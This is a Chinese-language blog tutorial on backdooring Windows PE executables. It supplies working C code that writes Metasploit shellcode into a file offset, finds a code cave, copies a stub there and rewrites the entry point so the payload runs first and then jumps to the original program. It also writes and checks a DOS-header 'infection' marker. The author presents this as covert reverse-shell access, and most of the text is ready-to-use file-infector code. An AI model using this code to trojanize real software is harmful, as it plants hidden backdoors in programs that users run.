2.12 PE結構:實現PE位元組注入

2023-09-11 12:02:49

本章筆者將介紹一種通過Metasploit生成ShellCode並將其注入到特定PE檔案內的Shell注入技術。該技術能夠劫持原始PE檔案的入口地址,在PE程式執行之前執行ShellCode反彈,執行後掛入後臺並繼續執行原始程式,實現了一種隱蔽的Shell存取。而我把這種技術叫做位元組注入反彈。

位元組注入功能呼叫WritePEShellCode函數,該函數的主要作用是接受使用者傳入的一個檔案位置,並可以將一段通過Metasploit工具生成的有效載荷注入到特定檔案偏移位置處。

讀者在使用該函數之前需要通過WinHex找到注入位置,我們以如下截圖中的30352為例;

接著讀者需要自行準備一段ShellCode程式碼,只保留程式碼部分去掉頭部變數引數,如下所示;

接著我們使用如下這段程式碼中的WritePEShellCode函數,通過傳入指定PE檔案路徑,指定檔案便宜,以及指定的ShellCode檔案路徑,即可自動將其壓縮為一行並在壓縮後將程式碼寫出到指定的可執行檔案內。

// 將ShellCode寫出到PE程式的特定位置
// 引數1: 指定PE路徑 引數2: 指定檔案中的偏移(十進位制) 引數3: 指定ShellCode檔案
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
  HANDLE hFile = NULL;
  FILE* fpointer = NULL;
  DWORD dwNum = 0;

  int count = 0;
  char shellcode[8192] = { 0 };
  unsigned char save[8192] = { 0 };

  // 開啟一段ShellCode程式碼並處理為一行
  if ((fpointer = fopen(ShellCode, "r")) != NULL)
  {
    char ch = 0;
    for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
    {
      if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
      {
        shellcode[x++] = ch;
        count++;
      }
    }
  }
  _fcloseall();

  // 將單位元組合併為雙位元組
  for (int x = 0; x < count / 2; x++)
  {
    unsigned int char_in_hex;
    if (shellcode[x] != 0)
    {
      sscanf(shellcode + 2 * x, "%02X", &char_in_hex);

      // 每十六位元組換一行輸出
      if ((x+1) % 16 == 0)
      {
        printf("0x%02X \n", char_in_hex);
      }
      else
      {
        printf("0x%02X ", char_in_hex);
      }
      save[x] = char_in_hex;
    }
  }

  // 開啟PE檔案並寫出ShellCode到指定位置
  hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
    if (true == ref)
    {
      printf("\n\n[*] 已注入 ShellCode 到PE檔案 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);
    }
    CloseHandle(hFile);
  }
}

我們通過傳入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");引數,執行後則可將特定文字中的機器碼注入到30352的位置處,讀者也可以通過使用WinHex跳轉到對應位置觀察,如下所示;

當然了上述方法注入到PE檔案中我們需要手動分析尋找空餘塊,並在注入成功後還需要自行修正PE檔案內的入口地址等,這種方式適合於對PE結構非常熟悉的人可以,但也要花費一些精力去尋找分析,如下程式碼則是實現了自動化注入功能,該程式碼中FindSpace()函數用於從程式碼節的末尾開始搜尋,尋找特定長度的空餘位置,當找到合適的縫隙後便返回縫隙首地址。

此時dwOep變數記憶體儲的是該程式原始的OEP入口位置,接著將入口地址賦值到*(DWORD *)&shellcode[5]也就是放入到shellcode機器碼的第六個位置處,此處將變更為跳轉到原始入口的指令集,接著呼叫memcpy函數將shellcode程式碼拷貝到新分配的dwAddr記憶體中,此處的strlen(shellcode) + 3代表的是ShellCode中剩餘的\xff\xe0\x00部分,最後將當前EIP指標設定為我們自己的ShellCode所在位置,通過pNtHeader->OptionalHeader.AddressOfEntryPoint賦值設定此變數,至此這個注入器就算實現啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 縫隙的搜尋從程式碼節的末尾開始搜尋,有利於快速搜尋到縫隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳過可選頭長度的資料
  PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 獲取到檔案末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));
  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pSec->Misc.VirtualSize)
  {
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }
  free(lp);
  return 0;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 檔案非可執行檔案 \n");
    return -1;
  }
  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 查詢空餘位元組
  DWORD dwAddr = FindSpace(lpBase, pNtHeader);
  printf("[*] 找到 %d 位元組 | 起始地址: %X \n", sizeof(shellcode), dwAddr);

  // 獲取到原入口地址
  DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

  // \xb8 => 填充的就是原始程式的OEP
  *(DWORD *)&shellcode[5] = dwOep;
  printf("[-] 原始入口地址: 0x%08X \n", dwOep);

  // 將shellcode 拷貝到dwAddr記憶體空間裡,拷貝長度strlen(shellcode) + 3
  memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
  dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  printf("[-] 拷貝記憶體長度: 0x%08X \n", dwAddr);

  // 將新的入口地址,賦值給原始程式的地址上
  pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);

  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);

  system("pause");
  return 0;
}

讀者可自行編譯並執行上述程式碼,當執行結束後會將ShellCode全域性變數中的指令集,寫入到lyshark.exe程式內,並修正當前程式的OEP入口處,此時讀者可執行lyshark.exe程式,看是否能夠正常執行起來,如下圖所示;

此時讀者可自行開啟x64dbg偵錯程式,觀察此時的程式入口處已經變成了0x47BFF3執行到最後則通過jmp eax跳轉到了原始的程式入口處繼續執行,這也就是空位元組注入的功能,當讀者自己將nop指令替換為任意特殊的組合指令時,也就實現了一款注入Shell版本的軟體。

當我們對特定的程式插入Shell後,則還需要對該程式增加一個標誌,在PE結構中有許多地方可以寫入這個標誌,例如DOS頭部存在一個e_cblp變數,通過向該變數寫入一個標誌,當需要判斷是否被感染時讀取此處並檢查是否存在特定值即可,如下程式碼則是一個檢查實現方式。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

#define VIRUSFLAGS 0xCCCC

// 向指定檔案寫入感染標誌
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
  return TRUE;
}

// 檢查檔案是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwSigNum = 0;
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

  if (dwSigNum == dwSig)
    return TRUE;
  return FALSE;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 檔案非可執行檔案 \n");
    return -1;
  }

  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 寫入感染標誌
  WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

  // 返回真說明感染過
  if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
  {
    printf("[+] 檔案已被感染,無法重複感染. \n");
  }

  system("pause");
  return 0;
}

由於e_cblp是第二個欄位,所以在填充後我們開啟WinHex就可以看到變化,如下圖所示;

本文作者: 王瑞
本文連結: https://www.lyshark.com/post/240d333e.html
版權宣告: 本部落格所有文章除特別宣告外,均採用 BY-NC-SA 許可協定。轉載請註明出處!